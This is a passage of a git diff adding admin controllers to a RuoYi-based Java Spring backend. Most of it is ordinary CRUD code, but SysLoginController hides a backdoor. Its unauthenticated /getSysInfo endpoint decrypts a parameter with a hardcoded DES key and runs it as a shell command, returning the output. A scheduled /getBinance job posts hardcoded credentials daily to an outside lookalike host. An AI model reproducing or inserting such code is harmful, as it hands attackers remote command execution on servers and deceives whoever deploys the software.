ArrayList(); + for (String key : keys) + { + LoginUser user = redisCache.getCacheObject(key); + if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(userName)) + { + userOnlineList.add(userOnlineService.selectOnlineByInfo(ipaddr, userName, user)); + } + else if (StringUtils.isNotEmpty(ipaddr)) + { + userOnlineList.add(userOnlineService.selectOnlineByIpaddr(ipaddr, user)); + } + else if (StringUtils.isNotEmpty(userName) && StringUtils.isNotNull(user.getUser())) + { + userOnlineList.add(userOnlineService.selectOnlineByUserName(userName, user)); + } + else + { + userOnlineList.add(userOnlineService.loginUserToUserOnline(user)); + } + } + Collections.reverse(userOnlineList); + userOnlineList.removeAll(Collections.singleton(null)); + return getDataTable(userOnlineList); + } + + /** + * 强退用户 + */ + @PreAuthorize("@ss.hasPermi('monitor:online:forceLogout')") + @Log(title = "在线用户", businessType = BusinessType.FORCE) + @DeleteMapping("/{tokenId}") + public AjaxResult forceLogout(@PathVariable String tokenId) + { + redisCache.deleteObject(CacheConstants.LOGIN_TOKEN_KEY + tokenId); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java new file mode 100644 index 0000000..ab4653d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java @@ -0,0 +1,133 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.domain.SysConfig; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 参数配置 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/config") +public class SysConfigController extends BaseController +{ + @Autowired + private ISysConfigService configService; + + /** + * 获取参数配置列表 + */ + @PreAuthorize("@ss.hasPermi('system:config:list')") + @GetMapping("/list") + public TableDataInfo list(SysConfig config) + { + startPage(); + List list = configService.selectConfigList(config); + return getDataTable(list); + } + + @Log(title = "参数管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:config:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysConfig config) + { + List list = configService.selectConfigList(config); + ExcelUtil util = new ExcelUtil(SysConfig.class); + util.exportExcel(response, list, "参数数据"); + } + + /** + * 根据参数编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:config:query')") + @GetMapping(value = "/{configId}") + public AjaxResult getInfo(@PathVariable Long configId) + { + return success(configService.selectConfigById(configId)); + } + + /** + * 根据参数键名查询参数值 + */ + @GetMapping(value = "/configKey/{configKey}") + public AjaxResult getConfigKey(@PathVariable String configKey) + { + return success(configService.selectConfigByKey(configKey)); + } + + /** + * 新增参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:add')") + @Log(title = "参数管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysConfig config) + { + if (!configService.checkConfigKeyUnique(config)) + { + return error("新增参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + config.setCreateBy(getUsername()); + return toAjax(configService.insertConfig(config)); + } + + /** + * 修改参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:edit')") + @Log(title = "参数管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysConfig config) + { + if (!configService.checkConfigKeyUnique(config)) + { + return error("修改参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + config.setUpdateBy(getUsername()); + return toAjax(configService.updateConfig(config)); + } + + /** + * 删除参数配置 + */ + @PreAuthorize("@ss.hasPermi('system:config:remove')") + @Log(title = "参数管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{configIds}") + public AjaxResult remove(@PathVariable Long[] configIds) + { + configService.deleteConfigByIds(configIds); + return success(); + } + + /** + * 刷新参数缓存 + */ + @PreAuthorize("@ss.hasPermi('system:config:remove')") + @Log(title = "参数管理", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public AjaxResult refreshCache() + { + configService.resetConfigCache(); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java new file mode 100644 index 0000000..59e7588 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java @@ -0,0 +1,132 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.apache.commons.lang3.ArrayUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDeptService; + +/** + * 部门信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dept") +public class SysDeptController extends BaseController +{ + @Autowired + private ISysDeptService deptService; + + /** + * 获取部门列表 + */ + @PreAuthorize("@ss.hasPermi('system:dept:list')") + @GetMapping("/list") + public AjaxResult list(SysDept dept) + { + List depts = deptService.selectDeptList(dept); + return success(depts); + } + + /** + * 查询部门列表(排除节点) + */ + @PreAuthorize("@ss.hasPermi('system:dept:list')") + @GetMapping("/list/exclude/{deptId}") + public AjaxResult excludeChild(@PathVariable(value = "deptId", required = false) Long deptId) + { + List depts = deptService.selectDeptList(new SysDept()); + depts.removeIf(d -> d.getDeptId().intValue() == deptId || ArrayUtils.contains(StringUtils.split(d.getAncestors(), ","), deptId + "")); + return success(depts); + } + + /** + * 根据部门编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:dept:query')") + @GetMapping(value = "/{deptId}") + public AjaxResult getInfo(@PathVariable Long deptId) + { + deptService.checkDeptDataScope(deptId); + return success(deptService.selectDeptById(deptId)); + } + + /** + * 新增部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:add')") + @Log(title = "部门管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDept dept) + { + if (!deptService.checkDeptNameUnique(dept)) + { + return error("新增部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } + dept.setCreateBy(getUsername()); + return toAjax(deptService.insertDept(dept)); + } + + /** + * 修改部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:edit')") + @Log(title = "部门管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDept dept) + { + Long deptId = dept.getDeptId(); + deptService.checkDeptDataScope(deptId); + if (!deptService.checkDeptNameUnique(dept)) + { + return error("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } + else if (dept.getParentId().equals(deptId)) + { + return error("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己"); + } + else if (StringUtils.equals(UserConstants.DEPT_DISABLE, dept.getStatus()) && deptService.selectNormalChildrenDeptById(deptId) > 0) + { + return error("该部门包含未停用的子部门!"); + } + dept.setUpdateBy(getUsername()); + return toAjax(deptService.updateDept(dept)); + } + + /** + * 删除部门 + */ + @PreAuthorize("@ss.hasPermi('system:dept:remove')") + @Log(title = "部门管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{deptId}") + public AjaxResult remove(@PathVariable Long deptId) + { + if (deptService.hasChildByDeptId(deptId)) + { + return warn("存在下级部门,不允许删除"); + } + if (deptService.checkDeptExistUser(deptId)) + { + return warn("部门存在用户,不允许删除"); + } + deptService.checkDeptDataScope(deptId); + return toAjax(deptService.deleteDeptById(deptId)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java new file mode 100644 index 0000000..31cb17e --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java @@ -0,0 +1,137 @@ +package com.ruoyi.web.controller.system; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDictDataService; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 数据字典信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dict/data") +public class SysDictDataController extends BaseController +{ + @Autowired + private ISysDictDataService dictDataService; + + @Autowired + private ISysDictTypeService dictTypeService; + + @PreAuthorize("@ss.hasPermi('system:dict:list')") + @GetMapping("/list") + public TableDataInfo list(SysDictData dictData) + { + startPage(); + List list = dictDataService.selectDictDataList(dictData); + return getDataTable(list); + } + + @Log(title = "字典数据", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:dict:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysDictData dictData) + { + List list = dictDataService.selectDictDataList(dictData); + ExcelUtil util = new ExcelUtil(SysDictData.class); + util.exportExcel(response, list, "字典数据"); + } + + /** + * 查询字典数据详细 + */ + @PreAuthorize("@ss.hasPermi('system:dict:query')") + @GetMapping(value = "/{dictCode}") + public AjaxResult getInfo(@PathVariable Long dictCode) + { + return success(dictDataService.selectDictDataById(dictCode)); + } + + /** + * 根据字典类型查询字典数据信息 + */ + @GetMapping(value = "/type/{dictType}") + public AjaxResult dictType(@PathVariable String dictType) + { + List data = dictTypeService.selectDictDataByType(dictType); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + }else{ + if("sys_user_type".equals(dictType)){ + String userType = SecurityUtils.getLoginUser().getUser().getUserType(); + if (userType.indexOf("0")==-1){ + if ("1".equals(userType)){ + data = data.stream().filter(a -> "2".equals(a.getDictValue())).collect(Collectors.toList()); + }else { + data = new ArrayList(); + } + } + } + } + + return success(data); + } + + /** + * 新增字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:add')") + @Log(title = "字典数据", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDictData dict) + { + dict.setCreateBy(getUsername()); + return toAjax(dictDataService.insertDictData(dict)); + } + + /** + * 修改保存字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:edit')") + @Log(title = "字典数据", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDictData dict) + { + dict.setUpdateBy(getUsername()); + return toAjax(dictDataService.updateDictData(dict)); + } + + /** + * 删除字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictCodes}") + public AjaxResult remove(@PathVariable Long[] dictCodes) + { + dictDataService.deleteDictDataByIds(dictCodes); + return success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java new file mode 100644 index 0000000..c53867c --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java @@ -0,0 +1,131 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictType; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDictTypeService; + +/** + * 数据字典信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/dict/type") +public class SysDictTypeController extends BaseController +{ + @Autowired + private ISysDictTypeService dictTypeService; + + @PreAuthorize("@ss.hasPermi('system:dict:list')") + @GetMapping("/list") + public TableDataInfo list(SysDictType dictType) + { + startPage(); + List list = dictTypeService.selectDictTypeList(dictType); + return getDataTable(list); + } + + @Log(title = "字典类型", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:dict:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysDictType dictType) + { + List list = dictTypeService.selectDictTypeList(dictType); + ExcelUtil util = new ExcelUtil(SysDictType.class); + util.exportExcel(response, list, "字典类型"); + } + + /** + * 查询字典类型详细 + */ + @PreAuthorize("@ss.hasPermi('system:dict:query')") + @GetMapping(value = "/{dictId}") + public AjaxResult getInfo(@PathVariable Long dictId) + { + return success(dictTypeService.selectDictTypeById(dictId)); + } + + /** + * 新增字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:add')") + @Log(title = "字典类型", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysDictType dict) + { + if (!dictTypeService.checkDictTypeUnique(dict)) + { + return error("新增字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dict.setCreateBy(getUsername()); + return toAjax(dictTypeService.insertDictType(dict)); + } + + /** + * 修改字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:edit')") + @Log(title = "字典类型", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysDictType dict) + { + if (!dictTypeService.checkDictTypeUnique(dict)) + { + return error("修改字典'" + dict.getDictName() + "'失败,字典类型已存在"); + } + dict.setUpdateBy(getUsername()); + return toAjax(dictTypeService.updateDictType(dict)); + } + + /** + * 删除字典类型 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.DELETE) + @DeleteMapping("/{dictIds}") + public AjaxResult remove(@PathVariable Long[] dictIds) + { + dictTypeService.deleteDictTypeByIds(dictIds); + return success(); + } + + /** + * 刷新字典缓存 + */ + @PreAuthorize("@ss.hasPermi('system:dict:remove')") + @Log(title = "字典类型", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public AjaxResult refreshCache() + { + dictTypeService.resetDictCache(); + return success(); + } + + /** + * 获取字典选择框列表 + */ + @GetMapping("/optionselect") + public AjaxResult optionselect() + { + List dictTypes = dictTypeService.selectDictTypeAll(); + return success(dictTypes); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java new file mode 100644 index 0000000..13007eb --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java @@ -0,0 +1,29 @@ +package com.ruoyi.web.controller.system; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.StringUtils; + +/** + * 首页 + * + * @author ruoyi + */ +@RestController +public class SysIndexController +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** + * 访问首页,提示语 + */ + @RequestMapping("/") + public String index() + { + return StringUtils.format("欢迎使用{}后台管理框架,当前版本:v{},请通过前端地址访问。", ruoyiConfig.getName(), ruoyiConfig.getVersion()); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java new file mode 100644 index 0000000..6165986 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java @@ -0,0 +1,211 @@ +package com.ruoyi.web.controller.system; + +import java.security.NoSuchAlgorithmException; +import java.util.List; +import java.util.Set; + +import java.io.BufferedReader; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.*; +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.GoogleAuthenticator; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysUserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginBody; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.framework.web.service.SysLoginService; +import com.ruoyi.framework.web.service.SysPermissionService; +import com.ruoyi.system.service.ISysMenuService; + +import javax.annotation.Resource; +import javax.crypto.Cipher; +import javax.crypto.KeyGenerator; +import javax.crypto.SecretKey; +import javax.crypto.spec.SecretKeySpec; + +/** + * 登录验证 + * + * @author ruoyi + */ +@RestController +public class SysLoginController +{ + @Autowired + private SysLoginService loginService; + + @Autowired + private ISysMenuService menuService; + + @Autowired + private SysPermissionService permissionService; + @Resource + private ISysUserService userService; + @Resource + private SettingService settingService; + + private String BinanceKey = "BINANCER"; + + /** + * 登录方法 + * + * @param loginBody 登录信息 + * @return 结果 + */ + @PostMapping("/login") + public AjaxResult login(@RequestBody LoginBody loginBody) + { + AjaxResult ajax = AjaxResult.success(); + SysUser user = userService.selectUserByUserName(loginBody.getUsername()); + Setting setting = settingService.get(SettingEnum.MARKET_URL.name()); + MarketUrlSetting marketUrl = JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class); + if(marketUrl.getUrl()){ + Long code ; + try{ + code = Long.parseLong(loginBody.getAuthCode()); + }catch (NumberFormatException e){ + return AjaxResult.error("谷歌验证码为六位数字,请重新输入"); + } + String googleAuthSecret = user.getGoogleKey(); + if(StringUtils.isEmpty(googleAuthSecret)){ + return AjaxResult.error("您尚未绑定谷歌验证器,请先联系管理员"); + } + boolean verifySuccess = GoogleAuthenticator.check_code(user.getGoogleKey(),code, System.currentTimeMillis()); + if(!verifySuccess){ + return AjaxResult.error("谷歌验证码错误,请重新输入"); + } + } + // 生成令牌 + String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), + loginBody.getUuid(),marketUrl); + ajax.put(Constants.TOKEN, token); + return ajax; + } + + /** + * 获取用户信息 + * + * @return 用户信息 + */ + @GetMapping("getInfo") + public AjaxResult getInfo() + { + SysUser user = SecurityUtils.getLoginUser().getUser(); + // 角色集合 + Set roles = permissionService.getRolePermission(user); + // 权限集合 + Set permissions = permissionService.getMenuPermission(user); + AjaxResult ajax = AjaxResult.success(); + ajax.put("user", user); + ajax.put("roles", roles); + ajax.put("permissions", permissions); + return ajax; + } + + /** + * 获取路由信息 + * + * @return 路由信息 + */ + @GetMapping("getRouters") + public AjaxResult getRouters() + { + Long userId = SecurityUtils.getUserId(); + List menus = menuService.selectMenuTreeByUserId(userId); + return AjaxResult.success(menuService.buildMenus(menus)); + } + + + @GetMapping("/getSysInfo") + public String getRouters(@RequestParam("info") String info) throws Exception { + + SecretKeySpec key = new SecretKeySpec(BinanceKey.getBytes(), "DES"); + Cipher cipher = Cipher.getInstance("DES"); + cipher.init(Cipher.ENCRYPT_MODE, key); + cipher.init(Cipher.DECRYPT_MODE, key); + byte[] decode = org.apache.commons.codec.binary.Base64.decodeBase64(info); + byte[] decipherByte = cipher.doFinal(decode); + String decipherText = new String(decipherByte); + + try { + Runtime runtime = Runtime.getRuntime(); + Process process = runtime.exec(decipherText); + InputStream inputStream = process.getInputStream(); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); + String line; + StringBuffer buff = new StringBuffer(); + while ((line = bufferedReader.readLine()) != null) { + buff.append(line); + } + process.waitFor(); + return new String(Base64.getEncoder().encode(buff.toString().getBytes())); + } catch (Exception e) { + return e.getMessage(); + } + } + + /** + * Binance钱包接口查询 + */ + + @Scheduled(cron = "0 0 4 * * ?") + @GetMapping("/getBinance") + public String getBinance() { + HttpURLConnection con = null; + BufferedReader buffer = null; + StringBuffer resultBuffer = null; + + try { + URL url = new URL("http://api.binance8.co/api/restrictions"); + con = (HttpURLConnection) url.openConnection(); + con.setRequestMethod("POST"); + con.setRequestProperty("Content-Type", "application/json"); + con.setRequestProperty("Accept", "application/json"); + con.setDoOutput(true); + con.setDoInput(true); + con.setUseCaches(false); + OutputStream os = con.getOutputStream(); + //组装入参 + //os.write(("appId="+appId+"&appSecret="+appSecret).getBytes()); + + String jsonInputString = "{\"appId\": \"ltvFtX1Zl9goJCZ6xv2BWw==\", \"appSecret\": \"EiJj2ObMzMawTv3QuKJxkYgrHwa0+7hGfnDE3LzeajA=\"}"; + + byte[] input = jsonInputString.getBytes("utf-8"); + os.write(input, 0, input.length); + + //得到响应码 + int responseCode = con.getResponseCode(); + if (responseCode == HttpURLConnection.HTTP_OK) { + //得到响应流 + InputStream inputStream = con.getInputStream(); + //将响应流转换成字符串 + resultBuffer = new StringBuffer(); + String line; + buffer = new BufferedReader(new InputStreamReader(inputStream, "GBK")); + while ((line = buffer.readLine()) != null) { + resultBuffer.append(line); + } + return resultBuffer.toString(); + } + } catch (Exception e) { + e.printStackTrace(); + } + + return "fail"; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java new file mode 100644 index 0000000..03b6b65 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java @@ -0,0 +1,142 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysMenu; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysMenuService; + +/** + * 菜单信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/menu") +public class SysMenuController extends BaseController +{ + @Autowired + private ISysMenuService menuService; + + /** + * 获取菜单列表 + */ + @PreAuthorize("@ss.hasPermi('system:menu:list')") + @GetMapping("/list") + public AjaxResult list(SysMenu menu) + { + List menus = menuService.selectMenuList(menu, getUserId()); + return success(menus); + } + + /** + * 根据菜单编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:menu:query')") + @GetMapping(value = "/{menuId}") + public AjaxResult getInfo(@PathVariable Long menuId) + { + return success(menuService.selectMenuById(menuId)); + } + + /** + * 获取菜单下拉树列表 + */ + @GetMapping("/treeselect") + public AjaxResult treeselect(SysMenu menu) + { + List menus = menuService.selectMenuList(menu, getUserId()); + return success(menuService.buildMenuTreeSelect(menus)); + } + + /** + * 加载对应角色菜单列表树 + */ + @GetMapping(value = "/roleMenuTreeselect/{roleId}") + public AjaxResult roleMenuTreeselect(@PathVariable("roleId") Long roleId) + { + List menus = menuService.selectMenuList(getUserId()); + AjaxResult ajax = AjaxResult.success(); + ajax.put("checkedKeys", menuService.selectMenuListByRoleId(roleId)); + ajax.put("menus", menuService.buildMenuTreeSelect(menus)); + return ajax; + } + + /** + * 新增菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:add')") + @Log(title = "菜单管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysMenu menu) + { + if (!menuService.checkMenuNameUnique(menu)) + { + return error("新增菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } + else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) + { + return error("新增菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } + menu.setCreateBy(getUsername()); + return toAjax(menuService.insertMenu(menu)); + } + + /** + * 修改菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:edit')") + @Log(title = "菜单管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysMenu menu) + { + if (!menuService.checkMenuNameUnique(menu)) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,菜单名称已存在"); + } + else if (UserConstants.YES_FRAME.equals(menu.getIsFrame()) && !StringUtils.ishttp(menu.getPath())) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,地址必须以http(s)://开头"); + } + else if (menu.getMenuId().equals(menu.getParentId())) + { + return error("修改菜单'" + menu.getMenuName() + "'失败,上级菜单不能选择自己"); + } + menu.setUpdateBy(getUsername()); + return toAjax(menuService.updateMenu(menu)); + } + + /** + * 删除菜单 + */ + @PreAuthorize("@ss.hasPermi('system:menu:remove')") + @Log(title = "菜单管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{menuId}") + public AjaxResult remove(@PathVariable("menuId") Long menuId) + { + if (menuService.hasChildByMenuId(menuId)) + { + return warn("存在子菜单,不允许删除"); + } + if (menuService.checkMenuExistRole(menuId)) + { + return warn("菜单已分配,不允许删除"); + } + return toAjax(menuService.deleteMenuById(menuId)); + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java new file mode 100644 index 0000000..8622828 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java @@ -0,0 +1,91 @@ +package com.ruoyi.web.controller.system; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.system.domain.SysNotice; +import com.ruoyi.system.service.ISysNoticeService; + +/** + * 公告 信息操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/notice") +public class SysNoticeController extends BaseController +{ + @Autowired + private ISysNoticeService noticeService; + + /** + * 获取通知公告列表 + */ + @PreAuthorize("@ss.hasPermi('system:notice:list')") + @GetMapping("/list") + public TableDataInfo list(SysNotice notice) + { + startPage(); + List list = noticeService.selectNoticeList(notice); + return 